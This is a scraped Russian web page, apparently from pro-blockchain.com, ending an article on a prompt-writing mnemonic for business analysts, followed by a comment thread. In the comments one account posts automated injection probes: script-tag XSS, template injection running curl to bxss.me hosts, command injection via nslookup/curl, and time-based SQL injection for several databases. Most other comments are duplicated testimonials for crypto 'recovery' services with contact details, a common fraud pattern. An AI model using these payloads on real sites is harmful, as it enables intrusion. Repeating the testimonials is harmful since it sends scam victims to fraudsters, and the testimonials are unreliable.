Тон: … (тон: деловой, дружелюбный, gdb и т.д.).
Окружение: … (для кого пишем: разработчики, CEO).
Результат: Выведи результат в … (таблица Confluence, JSON, PlantUML и пр.).

Приложение Б. Фреймворк «КОМПОЗИТОР» для запоминания

  • Инструкция: Распечатайте таблицу или добавьте на видное место на экране — одного взгляда хватит, чтобы вспомнить порядок блоков и видеть сквозной пример.

Запомнить

Роль в промте

Пример для BA/SA

К — Кто ты?

Определи роль ассистента

— «Ты бизнес‑аналитик в проекте по логистике»— «Ты системный аналитик в банке»— «Ты UX‑исследователь в e‑commerce‑стартапе»

О — Обстановка

Опиши контекст

— «Discovery‑фаза финтех‑приложения»— «Post‑release support интернет‑магазина»— «Миграция ERP на облако»

М — Миссия

Сформулируй цель

— «Составь юскейс “Отмена заказа”»— «Опиши BPMN процесса возврата»— «Подготовь нефункц‑требования к API»

П — Позитивный пример

Показать, как надо

— «Система проверяет статус “Delivered”»— «Запрос возвращает ≤ 50 элементов»— «Задержка в 95% ≤ 200 мс»

О — Отрицательный пример

Показать, как не надо

— «Система проверяет, что статус корректный»— «API отвечает быстро»— «Пользователь доволен»

З — Зона работы

Очертить границы

— «Опирайся на стенограммы»— «Не добавляй новые статусы»— «Используй Swagger v1»— Если требуемых данных не хватает — укажи TODO со ссылкой на отсутствующий объект.

И — Инспекция

Чек‑лист самопроверки

— «Проверь нумерацию шагов»— «Каждый gateway имеет 2 исхода»— «Нет петель в диаграмме»

Т — Тон

Стиль ответа

— «Деловой, лаконичный»— «Дружелюбный FAQ‑формат»— «Техническая справка»— «GDB-режим»

О — Окружение

Для кого пишем

— «PO и разработчики»— «Финансовый директор»— «Команда QA»

Р — Результат

Формат вывода

— «Таблица Confluence»— «JSON‑snippet»— «PlantUML‑диаграмма»

Автор — Алина Богачёва

9e14a3eece3990e5466336c4afddd300.jpg

Исполнительный (CEO) и финансовый (CFO) директор школы Systems.Education

Архитектор бизнес-решений в области финансов

Проектировала финансовые системы для Деловых Линий, Concept Club и Айсберри

Опыт управления отделами до 30 человек

Член Федеральной палаты налоговых консультантов

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon